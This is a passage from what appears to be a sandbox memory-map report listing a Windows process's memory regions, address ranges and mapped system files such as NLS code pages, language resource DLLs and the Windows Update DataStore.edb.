entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 1753 start_va = 0x28612600000 end_va = 0x286126fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028612600000" filename = "" Region: id = 1754 start_va = 0x28612700000 end_va = 0x286127fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028612700000" filename = "" Region: id = 1755 start_va = 0x28612800000 end_va = 0x28612804fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 1756 start_va = 0x28612810000 end_va = 0x2861281ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 1757 start_va = 0x28612820000 end_va = 0x28612826fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028612820000" filename = "" Region: id = 1758 start_va = 0x28612830000 end_va = 0x28612832fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 1759 start_va = 0x28612840000 end_va = 0x28612840fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028612840000" filename = "" Region: id = 1760 start_va = 0x28612850000 end_va = 0x28612859fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 1761 start_va = 0x28612860000 end_va = 0x28612870fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1256.nls" filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls") Region: id = 1762 start_va = 0x28612880000 end_va = 0x28612890fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 1763 start_va = 0x286128a0000 end_va = 0x286128b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1254.nls" filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls") Region: id = 1764 start_va = 0x286128c0000 end_va = 0x286128d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 1765 start_va = 0x286128e0000 end_va = 0x286128f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1253.nls" filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls") Region: id = 1766 start_va = 0x28612900000 end_va = 0x286129fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028612900000" filename = "" Region: id = 1767 start_va = 0x28612a00000 end_va = 0x28612d36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1768 start_va = 0x28612d40000 end_va = 0x28612d50fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1257.nls" filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls") Region: id = 1769 start_va = 0x28612d60000 end_va = 0x28612d70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 1770 start_va = 0x28612d80000 end_va = 0x28612da7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_932.nls" filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls") Region: id = 1771 start_va = 0x28612db0000 end_va = 0x28612de0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_949.nls" filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls") Region: id = 1772 start_va = 0x28612df0000 end_va = 0x28612dfffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1773 start_va = 0x28612e00000 end_va = 0x28612efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028612e00000" filename = "" Region: id = 1774 start_va = 0x28612f00000 end_va = 0x28612ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028612f00000" filename = "" Region: id = 1775 start_va = 0x28613000000 end_va = 0x286130dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1776 start_va = 0x286130e0000 end_va = 0x286130f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_874.nls" filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls") Region: id = 1777 start_va = 0x28613100000 end_va = 0x286131fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613100000" filename = "" Region: id = 1778 start_va = 0x28613200000 end_va = 0x286132fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028613200000" filename = "" Region: id = 1779 start_va = 0x28613300000 end_va = 0x28613310fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1258.nls" filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls") Region: id = 1780 start_va = 0x28613320000 end_va = 0x28613350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 1781 start_va = 0x28613360000 end_va = 0x28613390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_950.nls" filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls") Region: id = 1782 start_va = 0x286133a0000 end_va = 0x286133a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286133a0000" filename = "" Region: id = 1783 start_va = 0x286133b0000 end_va = 0x286133b3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286133b0000" filename = "" Region: id = 1784 start_va = 0x286133c0000 end_va = 0x286133cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286133c0000" filename = "" Region: id = 1785 start_va = 0x286133d0000 end_va = 0x286133d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shcore.dll.mui" filename = "\\Windows\\System32\\en-US\\SHCore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\shcore.dll.mui") Region: id = 1786 start_va = 0x286133e0000 end_va = 0x286133effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286133e0000" filename = "" Region: id = 1787 start_va = 0x286133f0000 end_va = 0x286133f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286133f0000" filename = "" Region: id = 1788 start_va = 0x28613400000 end_va = 0x28613400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613400000" filename = "" Region: id = 1789 start_va = 0x28613410000 end_va = 0x28613413fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613410000" filename = "" Region: id = 1790 start_va = 0x28613420000 end_va = 0x28613426fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613420000" filename = "" Region: id = 1791 start_va = 0x28613430000 end_va = 0x28613472fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613430000" filename = "" Region: id = 1792 start_va = 0x28613480000 end_va = 0x28613481fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613480000" filename = "" Region: id = 1793 start_va = 0x28613490000 end_va = 0x28613490fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613490000" filename = "" Region: id = 1794 start_va = 0x286134a0000 end_va = 0x286134affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286134a0000" filename = "" Region: id = 1795 start_va = 0x286134b0000 end_va = 0x286134b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286134b0000" filename = "" Region: id = 1796 start_va = 0x286134c0000 end_va = 0x286134cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286134c0000" filename = "" Region: id = 1797 start_va = 0x286134d0000 end_va = 0x286134dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286134d0000" filename = "" Region: id = 1798 start_va = 0x286134e0000 end_va = 0x286134effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286134e0000" filename = "" Region: id = 1799 start_va = 0x286134f0000 end_va = 0x286134fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286134f0000" filename = "" Region: id = 1800 start_va = 0x28613500000 end_va = 0x2861350ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028613500000" filename = "" Region: id = 1801 start_va = 0x28613510000 end_va = 0x2861351ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028613510000" filename = "" Region: id = 1802 start_va = 0x28613520000 end_va = 0x2861353ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613520000" filename = "" Region: id = 1803 start_va = 0x28613540000 end_va = 0x28613546fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613540000" filename = "" Region: id = 1804 start_va = 0x28613550000 end_va = 0x2861359dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028613550000" filename = "" Region: id = 1805 start_va = 0x286135a0000 end_va = 0x286135edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286135a0000" filename = "" Region: id = 1806 start_va = 0x286135f0000 end_va = 0x286135f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286135f0000" filename = "" Region: id = 1807 start_va = 0x28613600000 end_va = 0x286136fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613600000" filename = "" Region: id = 1808 start_va = 0x28613700000 end_va = 0x286137fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613700000" filename = "" Region: id = 1809 start_va = 0x28613800000 end_va = 0x28613801fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613800000" filename = "" Region: id = 1810 start_va = 0x28613810000 end_va = 0x2861381ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1811 start_va = 0x28613820000 end_va = 0x2861382ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1812 start_va = 0x28613830000 end_va = 0x2861383ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1813 start_va = 0x28613840000 end_va = 0x2861384ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1814 start_va = 0x28613850000 end_va = 0x28613856fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613850000" filename = "" Region: id = 1815 start_va = 0x28613860000 end_va = 0x2861386ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028613860000" filename = "" Region: id = 1816 start_va = 0x28613870000 end_va = 0x2861387ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028613870000" filename = "" Region: id = 1817 start_va = 0x28613880000 end_va = 0x2861388ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028613880000" filename = "" Region: id = 1818 start_va = 0x28613890000 end_va = 0x2861389ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028613890000" filename = "" Region: id = 1819 start_va = 0x286138a0000 end_va = 0x286138affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286138a0000" filename = "" Region: id = 1820 start_va = 0x286138b0000 end_va = 0x286138bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286138b0000" filename = "" Region: id = 1821 start_va = 0x286138c0000 end_va = 0x286138c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286138c0000" filename = "" Region: id = 1822 start_va = 0x286138d0000 end_va = 0x286138dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1823 start_va = 0x286138e0000 end_va = 0x286138effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1824 start_va = 0x286138f0000 end_va = 0x286138fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1825 start_va = 0x28613900000 end_va = 0x286139fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613900000" filename = "" Region: id = 1826 start_va = 0x28613a00000 end_va = 0x28613afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613a00000" filename = "" Region: id = 1827 start_va = 0x28613b00000 end_va = 0x28613bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613b00000" filename = "" Region: id = 1828 start_va = 0x28613c00000 end_va = 0x28613cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613c00000" filename = "" Region: id = 1829 start_va = 0x28613d00000 end_va = 0x28613dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613d00000" filename = "" Region: id = 1830 start_va = 0x28613e00000 end_va = 0x28613efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613e00000" filename = "" Region: id = 1831 start_va = 0x28613f00000 end_va = 0x28613ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028613f00000" filename = "" Region: id = 1832 start_va = 0x28614000000 end_va = 0x286140fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028614000000" filename = "" Region: id = 1833 start_va = 0x28614100000 end_va = 0x286141fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028614100000" filename = "" Region: id = 1834 start_va = 0x28614200000 end_va = 0x286142fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028614200000" filename = "" Region: id = 1835 start_va = 0x28614300000 end_va = 0x286143fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028614300000" filename = "" Region: id = 1836 start_va = 0x28614400000 end_va = 0x286144fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028614400000" filename = "" Region: id = 1837 start_va = 0x28614500000 end_va = 0x2861450ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1838 start_va = 0x28614510000 end_va = 0x2861451ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1839 start_va = 0x28614520000 end_va = 0x2861452ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1840 start_va = 0x28614530000 end_va = 0x2861453ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1841 start_va = 0x28614540000 end_va = 0x2861454ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1842 start_va = 0x28614550000 end_va = 0x2861455ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1843 start_va = 0x28614560000 end_va = 0x2861456ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1844 start_va = 0x28614570000 end_va = 0x2861457ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028614570000" filename = "" Region: id = 1845 start_va = 0x28614580000 end_va = 0x2861458ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028614580000" filename = "" Region: id = 1846 start_va = 0x28614590000 end_va = 0x28614593fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028614590000" filename = "" Region: id = 1847 start_va = 0x286145a0000 end_va = 0x286145affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1848 start_va = 0x286145b0000 end_va = 0x286145bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286145b0000" filename = "" Region: id = 1849 start_va = 0x286145c0000 end_va = 0x286145cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286145c0000" filename = "" Region: id = 1850 start_va = 0x286145d0000 end_va = 0x286145dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286145d0000" filename = "" Region: id = 1851 start_va = 0x286145e0000 end_va = 0x286145effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286145e0000" filename = "" Region: id = 1852 start_va = 0x286145f0000 end_va = 0x286145f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 1853 start_va = 0x28614600000 end_va = 0x28614603fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wuaueng.dll.mui" filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui") Region: id = 1854 start_va = 0x28614610000 end_va = 0x2861461ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1855 start_va = 0x28614620000 end_va = 0x2861462ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1856 start_va = 0x28614630000 end_va = 0x2861463ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1857 start_va = 0x28614640000 end_va = 0x2861464ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1858 start_va = 0x28614650000 end_va = 0x2861465ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1859 start_va = 0x28614660000 end_va = 0x2861466ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1860 start_va = 0x28614670000 end_va = 0x2861467ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1861 start_va = 0x28614680000 end_va = 0x2861468ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1862 start_va = 0x28614690000 end_va = 0x2861469ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1863 start_va = 0x286146a0000 end_va = 0x286146affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1864 start_va = 0x286146b0000 end_va = 0x286146bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1865 start_va = 0x286146c0000 end_va = 0x286146cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1866 start_va = 0x286146d0000 end_va = 0x286146d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286146d0000" filename = "" Region: id = 1867 start_va = 0x286146e0000 end_va = 0x286146effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1868 start_va = 0x286146f0000 end_va = 0x286146fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1869 start_va = 0x28614700000 end_va = 0x286147fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028614700000" filename = "" Region: id = 1870 start_va = 0x28614800000 end_va = 0x286157fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028614800000" filename = "" Region: id = 1871 start_va = 0x28615800000 end_va = 0x2861580ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1872 start_va = 0x28615810000 end_va = 0x2861581ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1873 start_va = 0x28615820000 end_va = 0x2861582ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1874 start_va = 0x28615830000 end_va = 0x2861583ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1875 start_va = 0x28615840000 end_va = 0x2861584ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1876 start_va = 0x28615850000 end_va = 0x2861585ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1877 start_va = 0x28615860000 end_va = 0x2861586ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1878 start_va = 0x28615880000 end_va = 0x2861588ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028615880000" filename = "" Region: id = 1879 start_va = 0x28615890000 end_va = 0x2861589ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028615890000" filename = "" Region: id = 1880 start_va = 0x286158a0000 end_va = 0x286158a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286158a0000" filename = "" Region: id = 1881 start_va = 0x286158b0000 end_va = 0x286158bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1882 start_va = 0x286158c0000 end_va = 0x286158c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286158c0000" filename = "" Region: id = 1883 start_va = 0x286158e0000 end_va = 0x286158e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286158e0000" filename = "" Region: id = 1884 start_va = 0x286158f0000 end_va = 0x286158f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usocore.dll.mui" filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui") Region: id = 1885 start_va = 0x28615910000 end_va = 0x28615927fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028615910000" filename = "" Region: id = 1886 start_va = 0x28615970000 end_va = 0x2861597ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1887 start_va = 0x28615980000 end_va = 0x2861598ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1888 start_va = 0x28615990000 end_va = 0x2861599ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1889 start_va = 0x286159a0000 end_va = 0x286159affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1890 start_va = 0x286159b0000 end_va = 0x286159bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1891 start_va = 0x286159c0000 end_va = 0x286159cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1892 start_va = 0x286159d0000 end_va = 0x286159d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000286159d0000" filename = "" Region: id = 1893 start_va = 0x286159e0000 end_va = 0x286159effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: 